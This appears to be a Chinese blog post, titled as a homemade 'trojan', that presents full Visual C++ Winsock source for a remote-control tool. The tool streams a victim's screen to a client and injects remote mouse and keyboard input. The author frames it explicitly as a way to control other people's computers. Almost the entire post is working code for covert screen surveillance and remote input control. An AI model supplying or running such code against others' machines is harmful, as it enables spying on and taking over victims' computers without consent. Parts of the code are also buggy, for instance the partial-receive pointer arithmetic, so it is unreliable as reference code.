VC++ 远程控制 屏幕监控 (传说中的木马)

传说中的木马
自已做出来 真的很爽快的感觉
一直都很疑惑，怎么可以控制其它人的机器，这吓好了，SOCKET加屏幕截图功能实际远程控制

.h
#pragma once
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

class SDKWind
{
public:
//struct
struct SKey{
int type;//mouse=0;key=1;
WPARAM w;
LPARAM l;
};
public:
SDKWind(HINSTANCE);
SDKWind();
~SDKWind(void);
void InitSck();
void Server();
void Client(char* ip,int port=18191);
void SendKey(int t,WPARAM,LPARAM);
public:
HWND hWnd;
WNDCLASSEX wndc;
CString clsn;
bool runing;
HINSTANCE hInst;
int SC,SY,WW,WH;
struct sctSRC{
long len;
int W;
int H;
};
struct sctSCT{
SOCKET sck;
SDKWind* win;
};

SOCKET k_conn; //发送键盘消息给服务端 套节字
public:
static HINSTANCE gInst;
static void XRun();
static DWORD WINAPI SWThread(LPVOID);

static LRESULT CALLBACK WINAPI WndProc(HWND,UINT,WPARAM,LPARAM);
static long sl_win;
static DWORD WINAPI MainWnd(LPVOID);
void Run();
void sethInst(HINSTANCE inst);

void OnPaint();
void OnSize();
static DWORD WINAPI FlashTitle(LPVOID);
static DWORD WINAPI SendSRC(LPVOID); //发送屏幕线程
static DWORD WINAPI RecvSRC(LPVOID); //接收屏幕线程
//static DWORD WINAPI SendKey(LPVOID);
static DWORD WINAPI RecvKey(LPVOID);// 接收键盘消息
static SDKWind* sdkw;
};


.cpp
#include "StdAfx.h"
#include "SDKWind.h"

//class SDKWinApp;
//extern SDKWinApp theApp;

long SDKWind::sl_win = 0;
extern UINT g_hasZR ;
extern void gDDll();

SDKWind* SDKWind::sdkw = NULL;
void CaptureScreen();
HINSTANCE SDKWind::gInst = NULL;

SDKWind::SDKWind(HINSTANCE inst)
{
hWnd = NULL;
runing = false;
sl_win++;
this->hInst = inst;
sdkw = this;
InitSck();
k_conn = INVALID_SOCKET;
}

void SDKWind::sethInst(HINSTANCE inst)
{
this->hInst = inst;
}

SDKWind::~SDKWind(void)
{

::WSACleanup();
}

DWORD WINAPI SDKWind::RecvKey(LPVOID p)
{
SOCKET clt = *(SOCKET*)p;

int len = sizeof(SKey);

while( true )
{
SKey rkey;
memset(&rkey,0,len);
int rs = recv(clt,(char*)&rkey,len,0);
if( rs == SOCKET_ERROR ){break;}
else{
if( rs<len )
{
int js = rs;
do{
rs = recv(clt,(char*)((&rkey)+js),len-js,0);
if( rs==SOCKET_ERROR ){break;
}else{
js+=rs;
}
}while( js<len && rs!=SOCKET_ERROR );

}
}
//CString keystr;
//keystr.Format(_T("%d:%d:%d"),rkey.type,rkey.w,rkey.l);
//AfxMessageBox(keystr);
if( 0==rkey.type )
{
mouse_event( rkey.w,HIWORD(rkey.l),LOWORD(rkey.l),0,0);

}else{
keybd_event( rkey.w,
0x45,
KEYEVENTF_EXTENDEDKEY | 0,
0 );

// Simulate a key release
keybd_event( rkey.w,
0x45,
KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP,
0);
}

}
return 0;
}

DWORD WINAPI SDKWind::SendSRC(LPVOID p)
{
sctSCT sct = *(sctSCT*)p;
int SC = ::GetSystemMetrics(SM_CXSCREEN);
int SY = ::GetSystemMetrics(SM_CYSCREEN);
while(true)
{
//if( !sct ) {break;}
bool err = false;
HDC sDC = GetDC(0);
HDC memDC = ::CreateCompatibleDC(sDC);
HBITMAP bmp = ::CreateCompatibleBitmap(sDC,SC,SY);
BITMAP bm;
HGDIOBJ obj = SelectObject(memDC,bmp);
BitBlt(memDC,0,0,SC,SY,sDC,0,0,SRCCOPY);
SelectObject(memDC,obj);

ZeroMemory(&bm, sizeof(BITMAP));
GetObject(bmp,sizeof(BITMAP),&bm);
long len = bm.bmWidthBytes* bm.bmHeight;
//CString msg;
//msg.Format(_T("%d:%d"),MAXINT,len);
//AfxMessageBox(msg);break;
char* pb = new char[len];
ZeroMemory(pb,len);
GetBitmapBits(bmp,len,pb);
sctSRC snd;
snd.H = SY;
snd.W = SC;
snd.len = len;
/* if ( SOCKET_ERROR != sct->Send( &snd,sizeof(snd)+1 ))
{
Sleep(10);
if( SOCKET_ERROR != sct->Send( pb,len+1) )
{

}else{err = true;}
}else{ err = true;}*/
long sl = -1;
long js = 0;
if( (sl = send(sct.sck,(char*)&snd,sizeof(snd),0))!=SOCKET_ERROR )
{
Sleep(10);
if( SOCKET_ERROR != (sl=send(sct.sck,(char*)pb,len,0) ) )
{
js = sl ;
if( js<len ){
do{
if( SOCKET_ERROR == (sl=send(sct.sck,pb+js,len-js,0))){break;}
else{
js+=sl;
}
}while( sl!=SOCKET_ERROR && js<len );
}
}else{
err = true;
}
}else{
err = true;
}

delete []pb;
DeleteObject(memDC);
DeleteObject(bmp);
ReleaseDC(0,sDC);

if( err) {break;}
char buf[3];memset(buf,0,3);
if( SOCKET_ERROR == recv(sct.sck,buf,3,0) )
{
break;
}
Sleep(100);
}
DWORD errid = GetLastError();
TCHAR cc[30];
wsprintf(cc,_T("err:%d"),errid);
AfxMessageBox( cc );
//AfxMessageBox( _T("server close") );
return 0;
}

void SDKWind::Server()
{
// ;
SOCKET srv = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if( INVALID_SOCKET == srv )
{
AfxMessageBox(_T("Err at socket()"));
return;
}
sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = htonl( INADDR_ANY) ; //inet_addr("127.0.0.1");
service.sin_port = htons(18191);

if( bind(srv,(sockaddr*)&service,sizeof(service) ))
{
AfxMessageBox( _T("bind failed") );
::closesocket(srv);
}

if( listen(srv,5) )
{
AfxMessageBox( _T("error at listen"));
closesocket(srv);

}

SOCKET conn = INVALID_SOCKET;
while( (conn = accept(srv,NULL,NULL))!=INVALID_SOCKET )
{
sctSCT sct;
sct.win = this;
sct.sck = conn;
char buf[3];
memset(buf,0,3);
if( SOCKET_ERROR ==
recv(conn,buf,3,0)
){
continue;
}else{
if( strcmp(buf,"11")==0 )
{
::CloseHandle(
::CreateThread(
NULL,0,LPTHREAD_START_ROUTINE( &SDKWind::RecvKey),LPVOID(&sct),0,NULL)
);
}else if( strcmp(buf,"10")==0 ){
::CloseHandle(
::CreateThread(
NULL,0,LPTHREAD_START_ROUTINE( &SDKWind::SendSRC),LPVOID(&sct),0,NULL)
);
}
}


}
//sck.AsyncSelect(FD_ACCEPT);

//if( sck.Create(18191) )
//{
// if(sck.Listen(5))
// {
// /*SrvSckt conn;
// while(sck.Accept(conn))
// {
// ::CloseHandle(
// ::CreateThread(
// NULL,0,LPTHREAD_START_ROUTINE( &SDKWind::SendSRC),LPVOID(&conn),0,NULL)
// );*/
// //while( true ){
// // Sleep(10);
// //}
// Run();
//
// }else{
// AfxMessageBox(_T("Create failed"));
// }
//}else{
// AfxMessageBox(_T("Listen faileds"));
//}
}
//

void SDKWind::Client(char*ip ,int port)
{
sockaddr_in addr;
addr.sin_addr.S_un.S_addr = inet_addr(ip);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
SOCKET conn = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKET kconn= socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

sockaddr_in addr2;
addr2.sin_addr.S_un.S_addr = inet_addr(ip);
addr2.sin_family = AF_INET;
addr2.sin_port = htons(port);


if( INVALID_SOCKET==conn || INVALID_SOCKET==kconn)
{
AfxMessageBox( _T("SOCKET ERROR") );
return;
}
if( connect(kconn,(sockaddr*)&addr2,sizeof(addr2)) )
{
::closesocket(kconn);
}else{
this->k_conn = kconn;
if( SOCKET_ERROR == send(kconn,"11",strlen("11")+1,0) )
{
closesocket(kconn);
AfxMessageBox( _T("Error at (k)connect()") );
}
}
Sleep(1000);
if( connect(conn,(sockaddr*)&addr,sizeof(addr)) )
{
::closesocket(conn);
AfxMessageBox( _T("Error at connect()") );
return;
}else{
if( SOCKET_ERROR == send(conn,"10",strlen("10")+1,0) )
{
AfxMessageBox( _T("Error at send()") );
}else
{
sctSCT sct;
sct.sck = conn;
sct.win = this;

::CloseHandle(
::CreateThread(NULL,0,
LPTHREAD_START_ROUTINE(&SDKWind::RecvSRC),LPVOID(&sct),0,NULL)
);
}
}

///}else{
///AfxMessageBox( _T("conn failed"));
///}
Run();
}
//

void SDKWind::InitSck()
{
WORD dwVer=MAKEWORD(2,2);
WSADATA wsData;
if( NO_ERROR !=::WSAStartup(dwVer,&wsData) )
{
AfxMessageBox( _T("INIT ERROR"));
}
if( 2!=LOBYTE(wsData.wVersion) || 2!=HIBYTE(wsData.wHighVersion) ){
AfxMessageBox( _T("VERSION ERROR"));
}
}

SDKWind::SDKWind(void)
{
hWnd = NULL;
runing = false;
sl_win++;
this->hInst = NULL;
sdkw = this;
InitSck();
k_conn = INVALID_SOCKET;
}

void SDKWind::XRun()
{
::CloseHandle(
::CreateThread(
NULL,0,
LPTHREAD_START_ROUTINE(&SDKWind::SWThread),LPVOID(NULL),0,NULL)
);
}

//
DWORD WINAPI SDKWind::SWThread(LPVOID p)
{
SDKWind win;
win.sethInst( gInst );
win.Run();
return 0;
}

//

DWORD WINAPI SDKWind::RecvSRC(LPVOID p)
{
sctSCT sct = *(sctSCT*)p;

bool noerr = true;
while( noerr )
{
sctSRC snd;
ZeroMemory(&snd,sizeof(snd));
//if( SOCKET_ERROR == recv(sct.sck,(char*)&snd,sizeof(snd)+1,0) )
{
// noerr = false;break;
}
if( SOCKET_ERROR == recv(sct.sck,(char*)&snd,sizeof(snd),0) ){
noerr = false;break;
}
bool isDraw = true;
CString msg;
msg.Format( _T("w:%d,h:%d,len:%d"),snd.W,snd.H,snd.len);
::OutputDebugString(msg);
//if( 0>=snd.len && noerr ){
// continue;
//}
char* pb = new char[snd.len];
long rl=-1,js=0;
ZeroMemory(pb,snd.len);


if( SOCKET_ERROR != (rl=recv(sct.sck,pb,snd.len,0)) )
{
js = rl;
if( js<snd.len ){
do{
if( SOCKET_ERROR == (rl = recv(sct.sck,pb+js,snd.len-js,0) )){
break;
}

js += rl;
}while( js<snd.len && rl!=SOCKET_ERROR );
}
}else{
noerr = false;
}

if( noerr )
{
CString msg;
msg.Format( _T("%d:%d"),snd.len,js);
::OutputDebugString(msg);
//AfxMessageBox(CString(pb));
}

HDC hDC = GetDC(SDKWind::sdkw->hWnd);
HBITMAP bmp = ::CreateCompatibleBitmap(hDC,snd.W,snd.H);
HDC memDC = ::CreateCompatibleDC(hDC);

SetBitmapBits(bmp,snd.len,pb);
HGDIOBJ obj = SelectObject(memDC,bmp);
::StretchBlt(hDC,0,0,sdkw->WW,sdkw->WH,memDC,0,0,snd.W,snd.H,SRCCOPY);
SelectObject(memDC,obj);



delete []pb;

ReleaseDC(sdkw->hWnd,hDC);
DeleteObject(bmp);
DeleteObject(memDC);
if( SOCKET_ERROR == send(sct.sck,"ok",strlen("ok")+1,0) ){
break;
}
//Sleep(100);

}
AfxMessageBox( _T("EXIT RecvSRC") );
return 0;
}
//